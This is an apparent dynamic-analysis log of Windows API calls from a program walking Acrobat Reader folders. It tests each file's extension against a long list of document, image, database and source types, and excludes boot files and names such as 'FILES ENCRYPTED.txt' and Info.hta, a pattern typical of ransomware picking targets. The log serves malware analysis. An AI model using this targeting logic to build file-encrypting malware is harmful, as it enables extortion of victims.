	[0176.300] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".epsf") returned 5
	[0176.300] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0176.300] lstrlenW (lpString=".epsp") returned 5
	[0176.300] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0176.300] lstrlenW (lpString=".erf") returned 4
	[0176.300] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".exr") returned 4
	[0176.300] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".f4v") returned 4
	[0176.300] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".fido") returned 5
	[0176.300] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0176.300] lstrlenW (lpString=".flm") returned 4
	[0176.300] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".flv") returned 4
	[0176.300] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".frm") returned 4
	[0176.300] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".fxg") returned 4
	[0176.300] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".geo") returned 4
	[0176.300] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".gif") returned 4
	[0176.300] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".grs") returned 4
	[0176.300] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".gz") returned 3
	[0176.300] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0176.300] lstrlenW (lpString=".h") returned 2
	[0176.300] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0176.300] lstrlenW (lpString=".hdr") returned 4
	[0176.301] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".hpp") returned 4
	[0176.301] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".hta") returned 4
	[0176.301] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".htc") returned 4
	[0176.301] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".htm") returned 4
	[0176.301] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".html") returned 5
	[0176.301] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0176.301] lstrlenW (lpString=".icb") returned 4
	[0176.301] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".ics") returned 4
	[0176.301] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".iff") returned 4
	[0176.301] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".inc") returned 4
	[0176.301] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".indd") returned 5
	[0176.301] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0176.301] lstrlenW (lpString=".ini") returned 4
	[0176.301] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".iqy") returned 4
	[0176.301] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".j2c") returned 4
	[0176.301] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".j2k") returned 4
	[0176.301] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".java") returned 5
	[0176.301] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0176.301] lstrlenW (lpString=".jp2") returned 4
	[0176.301] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0176.301] lstrlenW (lpString=".jpc") returned 4
	[0176.302] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0176.302] lstrlenW (lpString=".jpe") returned 4
	[0176.302] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0176.302] lstrlenW (lpString=".jpeg") returned 5
	[0176.302] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0176.302] lstrlenW (lpString=".jpf") returned 4
	[0176.302] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0176.302] lstrlenW (lpString=".jpg") returned 4
	[0176.302] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0176.302] lstrlenW (lpString=".jpx") returned 4
	[0176.302] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0176.302] lstrlenW (lpString=".js") returned 3
	[0176.302] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0176.302] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.302] lstrlenW (lpString=".GTF") returned 4
	[0176.302] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0176.302] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.302] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0176.302] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0176.302] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0176.302] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0176.302] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0176.302] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0176.302] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0176.302] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0176.302] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-cn\\ui-strings.js") returned 133
	[0176.302] FindNextFileW (in: hFindFile=0x5ba7f0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0176.302] FindClose (in: hFindFile=0x5ba7f0 | out: hFindFile=0x5ba7f0) returned 1
	[0176.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.303] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0176.303] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-tw") returned 119
	[0176.303] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-tw") returned 1
	[0176.303] lstrlenW (lpString="zh-tw") returned 5
	[0176.303] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-tw") returned -1
	[0176.303] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0176.303] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-tw") returned 119
	[0176.303] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-tw\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ba7f0
	[0176.318] FindNextFileW (in: hFindFile=0x5ba7f0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0176.318] FindNextFileW (in: hFindFile=0x5ba7f0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3831, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.319] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.319] lstrlenW (lpString=".1cd") returned 4
	[0176.319] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0176.319] lstrlenW (lpString=".3ds") returned 4
	[0176.319] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0176.319] lstrlenW (lpString=".3fr") returned 4
	[0176.319] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0176.319] lstrlenW (lpString=".3g2") returned 4
	[0176.319] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0176.319] lstrlenW (lpString=".3gp") returned 4
	[0176.319] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0176.319] lstrlenW (lpString=".7z") returned 3
	[0176.319] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0176.319] lstrlenW (lpString=".accda") returned 6
	[0176.319] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0176.319] lstrlenW (lpString=".accdb") returned 6
	[0176.319] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0176.319] lstrlenW (lpString=".accdc") returned 6
	[0176.319] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0176.319] lstrlenW (lpString=".accde") returned 6
	[0176.319] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0176.319] lstrlenW (lpString=".accdt") returned 6
	[0176.319] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0176.319] lstrlenW (lpString=".accdw") returned 6
	[0176.319] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0176.319] lstrlenW (lpString=".adb") returned 4
	[0176.319] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0176.319] lstrlenW (lpString=".adp") returned 4
	[0176.320] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".ai") returned 3
	[0176.320] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0176.320] lstrlenW (lpString=".ai3") returned 4
	[0176.320] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".ai4") returned 4
	[0176.320] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".ai5") returned 4
	[0176.320] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".ai6") returned 4
	[0176.320] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".ai7") returned 4
	[0176.320] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".ai8") returned 4
	[0176.320] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".anim") returned 5
	[0176.320] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0176.320] lstrlenW (lpString=".arw") returned 4
	[0176.320] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".as") returned 3
	[0176.320] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0176.320] lstrlenW (lpString=".asa") returned 4
	[0176.320] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".asc") returned 4
	[0176.320] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".ascx") returned 5
	[0176.320] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0176.320] lstrlenW (lpString=".asm") returned 4
	[0176.320] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0176.320] lstrlenW (lpString=".asmx") returned 5
	[0176.320] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0176.320] lstrlenW (lpString=".asp") returned 4
	[0176.320] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".aspx") returned 5
	[0176.321] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0176.321] lstrlenW (lpString=".asr") returned 4
	[0176.321] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".asx") returned 4
	[0176.321] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".avi") returned 4
	[0176.321] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".avs") returned 4
	[0176.321] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".backup") returned 7
	[0176.321] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0176.321] lstrlenW (lpString=".bak") returned 4
	[0176.321] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".bay") returned 4
	[0176.321] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".bd") returned 3
	[0176.321] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0176.321] lstrlenW (lpString=".bin") returned 4
	[0176.321] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".bmp") returned 4
	[0176.321] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".bz2") returned 4
	[0176.321] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".c") returned 2
	[0176.321] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0176.321] lstrlenW (lpString=".cdr") returned 4
	[0176.321] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".cer") returned 4
	[0176.321] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0176.321] lstrlenW (lpString=".cf") returned 3
	[0176.321] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0176.321] lstrlenW (lpString=".cfc") returned 4
	[0176.321] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".cfm") returned 4
	[0176.322] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".cfml") returned 5
	[0176.322] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0176.322] lstrlenW (lpString=".cfu") returned 4
	[0176.322] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".chm") returned 4
	[0176.322] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".cin") returned 4
	[0176.322] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".class") returned 6
	[0176.322] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0176.322] lstrlenW (lpString=".clx") returned 4
	[0176.322] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".config") returned 7
	[0176.322] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0176.322] lstrlenW (lpString=".cpp") returned 4
	[0176.322] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".cr2") returned 4
	[0176.322] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".crt") returned 4
	[0176.322] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".crw") returned 4
	[0176.322] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".cs") returned 3
	[0176.322] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0176.322] lstrlenW (lpString=".css") returned 4
	[0176.322] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".csv") returned 4
	[0176.322] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".cub") returned 4
	[0176.322] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0176.322] lstrlenW (lpString=".dae") returned 4
	[0176.322] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dat") returned 4
	[0176.323] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".db") returned 3
	[0176.323] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0176.323] lstrlenW (lpString=".dbf") returned 4
	[0176.323] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dbx") returned 4
	[0176.323] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dc3") returned 4
	[0176.323] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dcm") returned 4
	[0176.323] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dcr") returned 4
	[0176.323] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".der") returned 4
	[0176.323] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dib") returned 4
	[0176.323] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dic") returned 4
	[0176.323] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".dif") returned 4
	[0176.323] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".divx") returned 5
	[0176.323] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0176.323] lstrlenW (lpString=".djvu") returned 5
	[0176.323] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0176.323] lstrlenW (lpString=".dng") returned 4
	[0176.323] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".doc") returned 4
	[0176.323] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0176.323] lstrlenW (lpString=".docm") returned 5
	[0176.323] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0176.323] lstrlenW (lpString=".docx") returned 5
	[0176.323] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0176.324] lstrlenW (lpString=".dot") returned 4
	[0176.324] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".dotm") returned 5
	[0176.324] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0176.324] lstrlenW (lpString=".dotx") returned 5
	[0176.324] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0176.324] lstrlenW (lpString=".dpx") returned 4
	[0176.324] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".dqy") returned 4
	[0176.324] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".dsn") returned 4
	[0176.324] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".dt") returned 3
	[0176.324] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0176.324] lstrlenW (lpString=".dtd") returned 4
	[0176.324] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".dwg") returned 4
	[0176.324] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".dwt") returned 4
	[0176.324] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".dx") returned 3
	[0176.324] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0176.324] lstrlenW (lpString=".dxf") returned 4
	[0176.324] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".edml") returned 5
	[0176.324] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0176.324] lstrlenW (lpString=".efd") returned 4
	[0176.324] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".elf") returned 4
	[0176.324] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".emf") returned 4
	[0176.324] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0176.324] lstrlenW (lpString=".emz") returned 4
	[0176.324] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0176.327] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.327] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0176.327] FindClose (in: hFindFile=0x5ba5b0 | out: hFindFile=0x5ba5b0) returned 1
	[0176.327] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.328] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x52dfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0176.328] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.328] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0176.328] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0176.328] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0176.330] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pages-app", cAlternateFileName="PAGES-~1")) returned 1
	[0176.422] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.422] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0176.442] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.442] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0176.442] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0176.442] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.442] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0176.442] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
